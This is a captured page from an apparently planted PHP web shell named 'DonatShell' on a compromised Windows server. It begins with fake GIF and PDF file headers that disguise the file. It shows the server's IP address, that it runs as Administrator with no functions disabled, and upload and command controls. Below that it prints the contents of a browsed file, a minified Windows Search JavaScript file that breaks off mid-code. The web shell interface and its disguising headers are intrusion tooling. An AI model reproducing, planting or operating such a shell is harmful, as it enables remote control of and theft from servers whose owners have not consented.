GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/SystemApps/Microsoft.Windows.Search_cw5n1h2txyewy/cache/Local/Desktop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Windows/SystemApps/Microsoft.Windows.Search_cw5n1h2txyewy/cache/Local/Desktop/33.js
var WSB;(function(n){function p(){return h}function o(t,i,r,u,f,e){if(!t)return r;if(typeof t!="string")try{return n.config.winRTIconWorkaround?{content:URL.createObjectURL(t).replace(/^data:image\/jpeg,image\/jpe,image\/jpg;base64,/,"data:image/jpeg;base64,"),type:0,bgColor:u,thumbnailType:e}:{content:URL.createObjectURL(t),type:0,bgColor:u,thumbnailType:e}}catch(o){return n.LogWSBError("convertToHtmlImage "+i,f,o,undefined,undefined,"WindowsTelemetry"),r}else return{content:t,type:0,bgColor:u,thumbnailType:e}}const h="data:img/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAR4UlEQVR4nMVbe4wd5XX/nW/m7nr9XNtpMSqpAZOShLbQ8gpgIFHU/EOSmiJASaWqqqmCUpqakMoxCKEopXbVQoiEqigyJFFaEVInMcSkokqa3YQIh9CAIAZMvH6AIfiBd+193cfMd6pzvsfM3Hv3Za/Jt5qd973f+Z1zfucxc4mZcTrHRT95cwPA6xj2fMAuY7J9gHynLBagYk1kZTsjsmMEux/A/sRk33r28ksfPV1TnHcALh58ezXD3s2w1zHsqiAge6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vxmqRIdKalxNmKQp0bv3/2Cak/6NktAlKr9CMe9RYGj48X+YkvC6jTn/ZshHhy1R4VOkzvJ4vXHuxcj7lmqPHl0tYd6sQT5oy1yFl3HSP5ujTdpD+JHP3DBd6pwe2Y+ew/v9ixam9HsDatMunYwFDIHx4eHHP3NSvyY95R9O0qZdN/t+X/90CZOpj6P21qtIJk7AhJZSeOJSfgzVFYCwWwFAqsgvDD/296dUM8zbT2c9EPeCsGa6rDGZOI6et19HMnrUFUyMEhBxUmGjzQL0vzRu7hrZftu8lM/z/uNpdQ3C3eTePVw1XeqcjI8gPXEEpj4GakwW7yD5gsr2LQYvXIKe1GS9k6M7Jk6c2DCy/e/m7YfTOqXT/fN5c+euDQCtA+F8koqs1HDp6DVKUZU1kHKLFxk7upCbP9l379UfO22TA/D/l2/Fnh+hyh0AAAAASUVORK5CYII=",c=!!_ge("wsb_form_q");let i,e,u,r,f;const l=-933981677285477,v=-933981677285478,y=400,a=1e3;n.getEdgeFallbackIcon=p;n.toIcon=o;let w={"action://Help/Launch":"Help","ms-cortana://navigate/Notebook":"Notebook"},b={"ms-cortana://navigate/Settings":n.config.settingsUri};const s="UserName";class t{static Init(s,h){t._currentQuery=null;t._queryParamsCache={};t._locStrings=[];t._enUsLocStrings=[];t._modifierKeyState={altKey:!1,ctrlKey:!1,shiftKey:!1};t._bootstrapDoneEventHandlers=[];t._appVisibleEventHandlers=[];t._shownEventHandlers=[];t._conversationStartEventHandlers=[];t._dismissedEventHandlers=[];t._appHiddenEventHandlers=[];t._webViewReloadEventHanlders=[];t._searchAppMemoryCommitMB=0;t._searchBoxGotFocusEventHandlers=[];t._searchBoxLostFocusEventHandlers=[];t._onSubmitHandlers=[];t._onFeedbackClosingHandlers=[];t._onSearchBoxGlyphIconClick=[];t._onSearchBoxClick=[];t._onButtonRightOfSearchBoxClick=[];t._queryChangedHandlers=[];t._rawQueryChangedHandlers=[];t._keyDownHandlers=[];t._keyUpHandlers=[];t._keyEscapeHandlers=[];t._accessTokenAvailableHandlers=[];t._scopeListRequiresUpdate=[];t._accountChangedHandlers=[];t._dynamicSearchBoxUpdateHandlers=[];t._dynamicPlaceholderContentRequestedHandlers=[];t._searchAppearanceInvokedHandlers=[];t._isReloadSuppressedBgTask=!1;t._pinnedApps={};t._state=0;t._paneCloseCount=0;t._qfDismissCount=0;t._defaultWindowsTheme=0;t._defaultAppTheme=0;t._currentPaneHeight=0;t._dsbBindDimissTime=0;t._dsbBindshownTime=0;t._defaultBrowser=0;t._accessTokenManager=s;t._fuzzyRankSuggestionCount=-1;t._coldRankSuggestionCount=-1;t._notColdRankSuggestionCount=-1;t._finalColdRankSuggestionCount=-1;t._mruFilesAndFoldersDefinedCount=-1;t._mruFilesAndFoldersUndefinedCount=-1;t._navigationHelper=h;t._edgeMuids=[];t._clearStorageRequestedHandlers={};t._isCodexUser=!0;t._isDSBEnabledByClient=null;t._thirdPartyAppsCache=null;t._dmaWebProvidersOrderMap={};t._pofLaunchUrlExist=!1;t._inConversationMode=!1;n.config.optimizeGetQueryLogic&&(t._queryCache=null);i=SearchAppWrapper.CortanaApp;e=i.queryFormulationView;u=i.launcher;r=typeof SearchBoxController=="object"?SearchBoxController:i.searchBox;f=n.Service.QueryParams;t._currentCVID=n.cleanGuid(t.createGuid());t._clientPreCVID=null;t._clientCurCVID=null;t._randomPrivacyNumber=t.getNewPrivacyNumber();t.initCortanaEnabledAndRegion();t.initLanguage();ThresholdUtilities.setBodyLangAttributes(n.uiLanguageCache);n.refreshBingEnabledCache(i.isBingEnabled,t.getRegion(),t.getLanguage());t.initLocStrings();(n.config===null||n.config===void 0?void 0:n.config.enableAgeCheckCodex)&&t.initMSAUserCodexStatus();let y=n.safeExecute(()=>+e.perfMetrics.lookup(32),"perfMetricsFallbackLookup",l);t._hasFallbackHappened=y!=l&&y!=v;let c=e.searchHistory;c&&c.addEventListener("cleardevicehistoryrequested",()=>{let i=t=>n.safeExecute(()=>c.signalClearDeviceHistoryCompleted(t),"signalClearDeviceHistoryCompleted");if(t._clearStorageRequestedHandlers)for(const r in t._clearStorageRequestedHandlers)n.safeExecute(()=>(t._clearStorageRequestedHandlers[r](i),!0),"clearDeviceHistoryRequested")||i(!1);else i(!1)});n.config.disbaleWideForLargeTextScale&&(_qs(".resultsContainer").scrollLeft=0);i.addEventListener("statechanged",async n=>{await t.updateState(t._state,n.newState,!1)});i.addEventListener("dynamicsearchboxcontentchanged",()=>{t.setIsReloadSuppressedBgTask(!0),t.chainHandlerPromises(t._dynamicSearchBoxUpdateHandlers).then(()=>n.safeSetTimeout(()=>{n.msbPerfLogger&&n.safeExecute(()=>n.msbPerfLogger===null||n.msbPerfLogger===void 0?void 0:n.msbPerfLogger.markHostDynamicSearchboxUpdateEnd(),"msbPerfLogger.markHostDynamicSearchboxUpdateEnd"),i.notifyDynamicSearchBoxUpdateCompleted(),t.setIsReloadSuppressedBgTask(!1)},a,"notifyDynamicSearchBoxUpdateCompleted"))});i.addEventListener("searchappearanceinvoked",()=>{t.setIsReloadSuppressedBgTask(!0),t.chainHandlerPromises(t._searchAppearanceInvokedHandlers).then(()=>n.safeSetTimeout(()=>{i.notifySearchAppearanceInvokedCompleted(),t.setIsReloadSuppressedBgTask(!1)},a,"notifySearchAppearanceInvokedCompleted"))});i.addEventListener("dynamicplaceholdercontentrequested",()=>{n.config.disbaleWideForLargeTextScale&&(_qs(".resultsContainer").scrollLeft=0),t.chainHandlerPromises(t._dynamicPlaceholderContentRequestedHandlers).then(()=>n.safeExecute(()=>i.notifyDynamicSearchBoxUpdateCompleted(),"notifyDynamicSearchBoxUpdateCompleted_content"))});r.addEventListener("querytextchanged",async i=>{n.config.enableQueryTextChangedLog&&n.logToMC("Bing_QF_WSBHost","WSBHost_querytextchanged_eventreceived","logQuerytextchanged",{},i.impressionId);let r=i.queryText;if(n.isRemoveIconSelected()&&r[r.length-1]===" "&&t.reformulate(""),n.config.wsbWithCopilotQF&&t._inConversationMode){t._qfDisabled=!0;return}t._qfDisabled||(t._feedbackFormIsVisible&&t.closeFeedbackForm(),t._queryPropertiesOverrides&&t._queryPropertiesOverrides.query!=r&&(t._queryPropertiesOverrides=null),n.config.disbaleWideForLargeTextScale&&(_qs(".resultsContainer").scrollLeft=0),await t.updateState(t._state,2,!0),t._queryToIgnoreOnQueryTextChangedEvent!=i.queryText&&(t._queryToIgnoreOnQueryTextChangedEvent=null),t.callQueryChangedHandlers(i,!1,t._queryToIgnoreOnQueryTextChangedEvent!=null,i.impressionId))});r.addEventListener("keydown",u=>{let f=u.keyCode;if(n.config.debugDismissEvents){if(f==121){t.updateState(t._state,1,!1);return}if(f==122){let n=t._state==0?2:0;n==2&&(t._currentCVID=null);t.updateState(t._state,n,!1);return}}if(t._qfDisabled){if(i.hostingEnvironment==3&&f==13){let n=r.getQueryText().queryText;i.fileExplorerSuggestionPage.onSuggestionSelection(n)}if(n.config.wsbWithCopilotQF&&t._inConversationMode){let i=r.getQueryText().queryText;if(f==13){t._onEnterChatHandlers.forEach(t=>n.safeExecute(()=>t(i),"onEnter"));r.setQueryText("",!1);return}}return}if((n.config.wsbWebView2||f!=9)&&!n.isFunctionalKey(f)){if(f==27){t.keyDownEscapeHandler();return}let e={shiftKey:u.isShiftKeyPressed,ctrlKey:u.isControlKeyPressed,altKey:!1},o=u.isHandled;n.InstrumentationHelper.instrumentKeyDown(n.getCurrentTime());t._keyDownHandlers.forEach(t=>n.safeExecute(()=>t(f,e,o),"keyDown"))}});SearchAppWrapper.CortanaApp.addEventListener("experiencelaunched",()=>{var t;n.isWorkScopeDsbGleamRedirectOnHoverAllowed()&&((t=SearchAppWrapper.CortanaApp.queryFormulationView)===null||t===void 0?void 0:t.previousExperience)==="DSBHover"&&SearchAppWrapper.CortanaApp.experienceId==="MergedHome"&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.switchScope(!0))});sj_b.addEventListener("keydown",i=>{if(!t._qfDisabled){let r=i.keyCode;if(n.config.debugDismissEvents){if(r==121){t.updateState(t._state,1,!1);return}if(r==122){let n=t._state==0?2:0;n==2&&(t._currentCVID=null);t.updateState(t._state,n,!1);return}}if(!n.isFunctionalKey(r)){r!=9||t._feedbackFormIsVisible||i.preventDefault();let f=n.RuntimeConfig.AlwaysWide,u=i.target;if(u){if(r==27){if(t._feedbackFormIsVisible){t.closeFeedbackForm();return}t.keyDownEscapeHandler();return}if(this._feedbackFormIsVisible){let n=_ge("fbpgdg");if(n&&n.contains(u))return}if(!f&&n.RuntimeConfig.PreviewPaneAvailable&&n.StaticHtmlElements.qfPreviewPane&&n.StaticHtmlElements.qfPreviewPane.contains(u)&&(!n.DialogBox||n.DialogBox.isVisible()))if(r==37)sj_pd(i);else return}n.contains([38,40],r)&&sj_pd(i);t._keyDownHandlers.forEach(t=>n.safeExecute(()=>t(i.keyCode,i,!1),"body.keyDown"))}}});r.addEventListener("keyup",i=>{if(!t._qfDisabled){let r=i.keyCode;if(r!=9&&!n.isFunctionalKey(r)){let u={shiftKey:i.isShiftKeyPressed,ctrlKey:i.isControlKeyPressed,altKey:!1},f=i.isHandled;t._keyUpHandlers.forEach(t=>n.safeExecute(()=>t(r,u,f),"keyUp"))}}});sj_b.addEventListener("keyup",i=>{if(!t._qfDisabled){let r=i.keyCode;n.isFunctionalKey(r)||t._keyUpHandlers.forEach(t=>n.safeExecute(()=>t(r,i,!1),"keyUp"))}});r.addEventListener("gotfocus",()=>{t._qfDisabled||(n.config.disbaleWideForLargeTextScale&&(_qs(".resultsContainer").scrollLeft=0),t._searchBoxGotFocusEventHandlers.forEach(t=>n.safeExecute(()=>t(),"gotfocus")))});r.addEventListener("lostfocus",()=>{t._qfDisabled||t._searchBoxLostFocusEventHandlers.forEach(t=>n.safeExecute(()=>t(),"lostfocus"))});r.addEventListener("submitbuttonclick",()=>{if(!t._qfDisabled){let r=n.getCurrentTime(),i=t.getFeatureString("SubmitButtonGlyph").featureValue;i&&i!=""?t._onButtonRightOfSearchBoxClick.forEach(t=>n.safeExecute(()=>t(i),"submitbuttonclick.custom")):t._onSubmitHandlers.forEach(t=>n.safeExecute(()=>t(r,!0,null),"submitbuttonclick"))}});r.addEventListener("searchboxglyphclick",()=>{t._qfDisabled||t._onSearchBoxGlyphIconClick.forEach(t=>n.safeExecute(()=>t(),"searchboxglyphclick"))});r.addEventListener("searchboxtapped",()=>{t._qfDisabled||t._onSearchBoxClick.forEach(t=>n.safeExecute(()=>t(),"searchboxtapped"))});r.addEventListener("searchboxclick",()=>{t._qfDisabled||t._onSearchBoxClick.forEach(t=>n.safeExecute(()=>t(),"searchboxclick"))});sj_evt.bind("ajax.feedback.initialized",sj_dm(this,t.registerFeedbackDebugCallback),!0);n.config.enableSearchSuspensionAPI&&t.bindBootstrapDone(()=>{Log2&&Log2.SetOnInstrumentDone&&Log2.SetOnInstrumentDone(this.callSearchSuspensionAPI)});n.config.enableWSBSharedFeatures&&t.bindBootstrapDone(()=>{var i,r,u,f,e,o,t;Log2&&Log2.SetFeatures&&(o=undefined,(n.config.wsb_Shared_NumberFeature1||n.config.wsb_Shared_NumberFeature2||n.config.wsb_Shared_NumberFeature3||n.config.wsb_Shared_NumberFeature4||n.config.wsb_Shared_NumberFeature5)&&(o=[(i=n.config.wsb_Shared_NumberFeature1)!==null&&i!==void 0?i:0,(r=n.config.wsb_Shared_NumberFeature2)!==null&&r!==void 0?r:0,(u=n.config.wsb_Shared_NumberFeature3)!==null&&u!==void 0?u:0,(f=n.config.wsb_Shared_NumberFeature4)!==null&&f!==void 0?f:0,(e=n.config.wsb_Shared_NumberFeature5)!==null&&e!==void 0?e:0]),t=[],n.config.wsb_Shared_StringFeature1&&t.push(n.config.wsb_Shared_StringFeature1),n.config.wsb_Shared_StringFeature2&&t.push(n.config.wsb_Shared_StringFeature2),n.config.wsb_Shared_StringFeature3&&t.push(n.config.wsb_Shared_StringFeature3),n.config.wsb_Shared_StringFeature4&&t.push(n.config.wsb_Shared_StringFeature4),n.config.wsb_Shared_StringFeature5&&t.push(n.config.wsb_Shared_StringFeature5),t.length==0&&(t=undefined),Log2.SetFeatures(o,t))});t.bindAppVisible(async()=>{t.isAppHidden=!1,t.hasSuspend=!1,await t.appVisibleInit()});t.bindShown(i=>{var u,f;if(n.safeFireEvent("ajax.threshold.pageStart",i),t.shownInit(),!t._qfDisabled){let r=t.getNewConversationId();n.updateErrorHandlingCVID(r);(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56524881))&&(n.config.completeFakeTIP?n.safeSetTimeout(()=>{var n;(n=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||n===void 0?void 0:n.notifyFakeSearchTestCompleted()},500,"CortanaApp NotifyFakeSearchTestCompleted"):(u=SearchAppWrapper===null||SearchAppWrapper===void 0?void 0:SearchAppWrapper.CortanaApp)===null||u===void 0?void 0:u.notifyFakeSearchTestCompleted());t._currentCVID!=r&&(t._currentCVID=r,t._randomPrivacyNumber=t.getNewPrivacyNumber(),t._conversationStartEventHandlers.forEach(t=>n.safeExecute(()=>t(),"conversationStart")),n.config.testFlight!=undefined&&((f=this._accessTokenManager.getSelectedAccountInfo())===null||f===void 0?void 0:f.accountProviderAuthority)=="consumers"&&n.InstrumentationHelper.logFlightState("testFlight",n.config.testFlight==1));t._lastKeyWasEnter=!1}});n.config.dsbEnumAccount&&t.bindDynamicSearchBoxUpdate(()=>{const n=t._qfDismissCount;return t.ensureAuthority(n),Promise.resolve()});t.bindDismissed(()=>{t._qfDismissCount+=1,n.config.disableWSBServerTelemetry&&n.isThirdPartySearchAllowed()||n.safeFireEvent("threshold.pageUnload"),t.dismissCleanup()});t.bindAppHidden(()=>{t.isAppHidden=!0,t._paneCloseCount+=1,t.appHiddenCleanup(),t.uploadClientErrorLog()});t.bindKeyDown((i,r)=>{t._modifierKeyState=r;let u=i==13;if(u&&!t._lastKeyWasEnter&&!(n.isMsbWorkShortcutsAvailable===null||n.isMsbWorkShortcutsAvailable===void 0?void 0:n.isMsbWorkShortcutsAvailable(i,r))){let i=n.getCurrentTime();t._onSubmitHandlers.forEach(t=>n.safeExecute(()=>t(i,!1,r),"onSubmit handlers"))}t._lastKeyWasEnter=u});t.bindKeyUp(n=>{t._lastKeyWasEnter=!1;switch(n){case 16:t._modifierKeyState.shiftKey=!1;break;case 17:t._modifierKeyState.ctrlKey=!1}});t.bindOnFeedbackClosing(n=>{n&&t.setFocusInSearchBox(null,"onFeedbackClosing")});(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.refreshWhenTokenArrives)&&t.bindAccessTokenAvailable(i=>{const u=i==1?n=>n.dataSource=="SSEE"||n.dataSource=="SSUE":n=>n.dataSource=="SSEC"||n.dataSource=="SSUC";t._currentQuery&&(t._currentQuery.queryToFetch.length>=n.config.minLengthFor3SonL1||n.isL2(t._currentQuery))&&t._currentQuery.originalQuery==r.getQueryText().queryText&&n.ScopeConfig[t._currentQuery.scope].enabledDataSources.some(u)&&t.refreshCurrentPane()});_G.PN="QF";t._edgeIconCache=n.Async.safeChainWithGlobalCaching("edgeIcon",t=>e.deviceSearch.findAppsAsync(n.EdgeAppIds).then(i=>{let r=n.EdgeAppIds.map(n=>i[n]).filter(n=>!!n)[0];return r.getImageAsync(n.getImageSizeValue(t)).then(n=>o(n,"edgeIcon",null,r.isImmersive?r.logoBackgroundColor:null))}),n=>n+"_edgeIcon");sj_evt.bind("onFeedbackStarting",([,n]=[undefined,undefined])=>{t._feedbackFormIsVisible=!0,t._feedbackFormIsOpenedByClient=n,t.adjustHeight()});sj_evt.bind("onFeedbackClosing",()=>{t._feedbackFormIsVisible=!1,t.adjustHeight(),t._onFeedbackClosingHandlers.forEach(i=>n.safeExecute(()=>i(t._feedbackFormIsOpenedByClient),"onFeedbackClosing handlers"))});t.initCloudSearch();t.initSettings();t.setCopilotInstallationStatus();t._accessTokenManager&&(t._accessTokenManager.bindAccessTokenAvailable((n,i,r)=>{t._accessTokenAvailableHandlers.forEach(t=>t(n)),r===3&&t.refreshCurrentPane()}),t._accessTokenManager.bindAccountTypesChanged(()=>t.updateScopeList()),t.ensureAuthority(t._qfDismissCount),n.canShowSearchHomeAIFeed()&&(t._accessTokenManager.bindSelectedAccountChanged(()=>{const i=n.AccessTokenManager.getWindowsAccountType();i!=1&&t.getUserDisplayName()}),t.bindBootstrapDone(()=>{const i=n.AccessTokenManager.getWindowsAccountType();i!=1&&t.getUserDisplayName()})),n.config.MsbDsbClearEnterpriseGleam&&t._accessTokenManager.bindSelectedAccountChanged(t=>{const i=n.AccessTokenManager.getWindowsAccountType();(i==1||(t===null||t===void 0?void 0:t.accountProviderAuthority)==="organizations")&&(SearchAppWrapper.CortanaApp.clearDynamicContent&&SearchAppWrapper.CortanaApp.clearDynamicContent(),SearchAppWrapper.CortanaApp.removeDynamicSearchBoxContent&&SearchAppWrapper.CortanaApp.removeDynamicSearchBoxContent())}));(n.osSKUCache==undefined||n.osSKUCache==0)&&ThresholdUtilities.getOsSKU(t=>{switch(t){case"4":n.osSKUCache=4;break;case"48":n.osSKUCache=48;break;case"101":n.osSKUCache=101;break;case"27":n.osSKUCache=27;break;default:n.osSKUCache=0}n.config.enableWindowsActivated&&this.setEligibileWindowsActivation(t)});n.config.enableWIPCheck&&ThresholdUtilities.getCortanaHeaders(n=>{n?t.setIsWIPOrInternalAudience(n):SharedLogHelper===null||SharedLogHelper===void 0?void 0:SharedLogHelper.LogError("setIsWIPOrInternalAudience",undefined,"get Cortana headers failed")})}static setEligibileWindowsActivation(t){switch(t){case"98":n.osSKUCache=98;break;case"99":n.osSKUCache=99;break;case"100":n.osSKUCache=100;break;case"49":n.osSKUCache=49;break;case"138":n.osSKUCache=138;break;case"139":n.osSKUCache=139;break;case"161":n.osSKUCache=161;break;case"162":n.osSKUCache=162}const i=new Set([98,99,100,101,48,49,138,139,161,162]);n.isEligibleWindowsActivationOsSKU=i.has(n.osSKUCache)}static isSearchSuspensionAPIEnabled(){var t;return((t=n.config.enableSearchSuspensionAPI)!==null&&t!==void 0?t:!1)&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(45687739))}static callSearchSuspensionAPI(){if(t.isSearchSuspensionAPIEnabled()&&t.isAppHidden&&!t.hasSuspend)try{t.hasSuspend=!0;var n=SearchAppWrapper.CortanaApp.enableSearchSuspension()}catch(i){}}static refreshDefaultBrowserInfoAsync(){if(t._defaultBrowser=0,i.getDefaultBrowserInfo){let r=n.safeExecute(()=>i.getDefaultBrowserInfo(),"getDefaultBrowserInfo");r&&(t._defaultBrowser=t.calculateBrowserType(r.path),t._defaultBrowserIconCache=e.deviceSearch.getIconForDefaultBrowserAsync&&t.getUriLaunchPolicy()==0&&t._defaultBrowser!=3?n.Async.safeChainWithGlobalCaching("defaultBrowserIcon",t=>e.deviceSearch.getIconForDefaultBrowserAsync(n.getImageSizeValue(t),0).then(n=>n?o(n,"defaultBrowserIcon"):{type:0,content:h}),n=>n+"_"+r.progId):null)}i.setDefaultUriLaunchPolicy&&i.setDefaultUriLaunchPolicy(t.getUriLaunchPolicy())}static async chainHandlerPromises(t,i){for(const r of t)try{await r()}catch(u){n.LogWSBError("chainHandlerPromises",i,u,undefined,undefined,"WindowsTelemetry")}}static getIsReloadSuppressedBgTask(){return t._isReloadSuppressedBgTask}static setIsReloadSuppressedBgTask(n){t._isReloadSuppressedBgTask=n}static getDefaultBrowser(){return t._defaultBrowser}static getSearchAppMemoryCommitMB(){return t._searchAppMemoryCommitMB}static setSearchAppMemoryCommitMB(n){t._searchAppMemoryCommitMB=n}static getFRSuggCount(){return t._fuzzyRankSuggestionCount}static setFRSuggCount(n=0){t._fuzzyRankSuggestionCount=n}static getCRCount(){return t._coldRankSuggestionCount}static setCRCount(n=0){t._coldRankSuggestionCount=n}static incrementCRCount(){t._coldRankSuggestionCount<0?t._coldRankSuggestionCount=1:t._coldRankSuggestionCount++}static getNCRCount(){return t._notColdRankSuggestionCount}static setNCRCount(n=0){t._notColdRankSuggestionCount=n}static incrementNCRCount(){t._notColdRankSuggestionCount<0?t._notColdRankSuggestionCount=1:t._notColdRankSuggestionCount++}static getFCRCount(){return t._finalColdRankSuggestionCount}static setFCRCount(n=0){t._finalColdRankSuggestionCount=n}static setBindDimissTime(n){t._dsbBindDimissTime=n}static getBindDimissTime(){return t._dsbBindDimissTime}static setBindShownTime(n){t._dsbBindshownTime=n}static getBindShownTime(){return t._dsbBindshownTime}static setIsCodexUser(n){t._isCodexUser=n}static getIsCodexUser(){return t._isCodexUser}static setPofLaunchUrlExist(n){t._pofLaunchUrlExist=n}static getPofLaunchUrlExist(){return t._pofLaunchUrlExist}static getThirdPartyAppsCache(){return t._thirdPartyAppsCache}static setThirdPartyAppsCache(n){t._thirdPartyAppsCache=n;t._mru3pAppCache=n===null||n===void 0?void 0:n.thirdPartyMRUExtension;t.setMru3pAppLocalCache(n===null||n===void 0?void 0:n.thirdPartyMRUExtension)}static getMru3pAppCache(){return t._mru3pAppCache?t._mru3pAppCache:t.getMru3pAppLocalCache()}static setMru3pAppCache(n){t._mru3pAppCache=n;t.setMru3pAppLocalCache(n)}static get3pGleamSchemaVersion(){var n;if((n=t._gleamSchema)!==null&&n!==void 0)return n.Public}static setMru3pAppLocalCache(t){if(t==undefined||t==null)n.LightweightStorage.removeItem(this._3pMRUCacheKey);else{let i={applicationUserModelId:t===null||t===void 0?void 0:t.applicationUserModelId,displayName:t===null||t===void 0?void 0:t.displayName,dynamicContentEndpoint:t===null||t===void 0?void 0:t.dynamicContentEndpoint,endpoint:t===null||t===void 0?void 0:t.endpoint,isFirstPartyStubApp:t===null||t===void 0?void 0:t.isFirstPartyStubApp,protocol:t===null||t===void 0?void 0:t.protocol,installedDate:t===null||t===void 0?void 0:t.installedDate,getLogoAsDataUriAsync:t===null||t===void 0?void 0:t.getLogoAsDataUriAsync};n.LightweightStorage.setItem(this._3pMRUCacheKey,JSON.stringify(i))}}static getMru3pAppLocalCache(){let t=n.LightweightStorage.getItem(this._3pMRUCacheKey);return t==undefined||t==null?undefined:JSON.parse(t)}static fetchSearchAppearanceSchemaVersions(){t._gleamSchema=SearchAppWrapper.CortanaApp.searchAppearanceSchemaVersions}static prefetchAllWebSearchExtensions(){var r,u;if(n.config.wsbOfflineBundle)return null;if(n.config.useCobaltCSS){let n=(r=i.webSearchExtensionManager)===null||r===void 0?void 0:r.findAll();return t.setThirdPartyAppsCache(n),Promise.resolve()}else{let n=(u=i.webSearchExtensionManager)===null||u===void 0?void 0:u.findAllAsync();return n.then(n=>{t.setThirdPartyAppsCache(n)})}}static isThirdPartySearchAppsEnabled(){if(!n.isThirdPartySearchAllowed())return!1;let i=t.getThirdPartySearchApps();return!!(i&&i.length)}static getThirdPartySearchApps(){let r=t.getThirdPartyAppsCache(),u=t.getMru3pAppCache(),f={};const o=t=>{t.sort((t,i)=>{let r=n.isValidDate(t.installedDate)?t.installedDate.getTime():n.WindowsApiDefaultDate,u=n.isValidDate(i.installedDate)?i.installedDate.getTime():n.WindowsApiDefaultDate;return r-u})};if(!n.isThirdPartySearchAllowed()||!r&&!u)return[];let i=[];if(u&&!r)return i.push(u),n.isSupportWebResultsInAllScopeInDMAEnabled()||o(i),i;n.isSupportWebResultsInAllScopeInDMAEnabled()||r.thirdPartyMRUExtension&&(f[r.thirdPartyMRUExtension.applicationUserModelId]=1,i.push(r.thirdPartyMRUExtension));let e=r.otherExtensions;return e&&e.length>0&&e.forEach(t=>{n.isServicingSearchBingAs3PEnabled()?f[t===null||t===void 0?void 0:t.applicationUserModelId]||(f[t===null||t===void 0?void 0:t.applicationUserModelId]=1,i.push(t)):i.push(t)}),n.isSupportWebResultsInAllScopeInDMAEnabled()?this.setDMAWebProvidersOrderMap(i):o(i),i}static setDMAWebProvidersOrderMap(n){const i={};let r=1;n.forEach(n=>{n.applicationUserModelId&&(i[n.applicationUserModelId]={order:r,displayName:n.displayName,applicationUserModelId:n.applicationUserModelId,endpoint:n.endpoint,protocol:n.protocol},r++)});t._dmaWebProvidersOrderMap=i}static getDMAWebProvidersOrderMap(){return t._dmaWebProvidersOrderMap}static get1pSearchApps(){let i=t.getThirdPartyAppsCache();return!n.isThirdPartySearchAllowed()||!i?undefined:i.firstPartyExtension}static getThirdPartySearchAppByName(n){let r=t.getThirdPartySearchApps(),i;return i=n=>HitHighlightingParser.removeDiacritics(n.toLocaleLowerCase().trim()),r.find(t=>i(t.displayName)===i(n))}static getThirdPartyDataProviderById(i){let r=t.getThirdPartySearchApps();return new n.ThirdPartyDataProvider(r.find(n=>n.applicationUserModelId===i))}static getThirdPartyMRUSearhApp(){let i=t.getMru3pAppCache();return n.isThirdPartyMRUEnabledByRegionalPolicy()?i:undefined}static setMRUSearchApp(r){if(n.isThirdPartySearchAllowed()){let u=t.getMru3pAppCache();if(r)r.applicationUserModelId==(u===null||u===void 0?void 0:u.applicationUserModelId)||(i.webSearchExtensionManager.mruExtensionApplicationUserModelId=r.applicationUserModelId,t.setMru3pAppCache(r));else{if(!u)return;i.webSearchExtensionManager.mruExtensionApplicationUserModelId=null;t.setMru3pAppCache(undefined)}}}static isFirstPartySearchDisabled(){let i=t.getThirdPartyAppsCache();return n.isServicingSearchBingAs3PEnabled()||i&&!i.firstPartyExtension?!0:!1}static isAccountNotConsented(t){return!!((n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(40979072))&&t.consentState&&t.consentState.isConsentRequired&&!t.consentState.hasUserConsented)}static isShowNotificationOnWebSearchProviderInstallEnabled(){if(n.VelocityKeys!==null&&n.VelocityKeys!==void 0)return n.VelocityKeys.isFeatureEnabled(56919513)}static canShowNotificationBanner(){let n=t.getThirdPartyAppsCache();return(n===null||n===void 0?void 0:n.notificationBehavior)==1}static setBannerInteraction(){let n=t.getThirdPartyAppsCache();n&&(n.notificationBehavior=2)}static getMRUFilesAndFoldersDefinedCount(){return t._mruFilesAndFoldersDefinedCount}static setMRUFilesAndFoldersDefinedCount(n=0){t._mruFilesAndFoldersDefinedCount=n}static getMRUFilesAndFoldersUndefinedCount(){return t._mruFilesAndFoldersUndefinedCount}static setMRUFilesAndFoldersUndefinedCount(n=0){t._mruFilesAndFoldersUndefinedCount=n}static setSFSLNLStrixCFRFligtStatus(n){var i=n!=null?n["X-BM-WindowsFlights"]:"";i!=null&&(i.includes("36D85A9")||i.includes("36D864E"))&&(t._isInSFSLNLStrixCFR=!0)}static getIFFPolarisProviderEnabled(){return t._iFFPolarisProviderEnabled}static getVegaProviderEnabled(){return t._iFFVegaProviderEnabled}static getJupiterProviderEnabled(){return(n.config.enableCoPilotPoweredSettingsProvider||this.getJupiterDefaultEnabledBuild())&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(51742224))}static getCoPSTRankPlanEnabled(){return!!n.config.enableCoPSTRankPlan}static getForceCoPSTResultRenderingEnabled(){return!!n.config.forceCopilotPoweredSettingResultRendering}static getIFFVegaDefaultEnabledBuild(){return t._iFFVegaDefaultEnabledBuild}static getJupiterDefaultEnabledBuild(){return t._jupiterDefaultEnabledBuild}static setIFFVegaDefaultEnabledBuild(i){var r;const u=i!=null?i["X-Device-BuildBranch"]:"";((r=n.config.coPilotPoweredCloudFileEnabledBuilds)===null||r===void 0?void 0:r.includes(u===null||u===void 0?void 0:u.toLowerCase()))&&(t._iFFVegaDefaultEnabledBuild=!0)}static 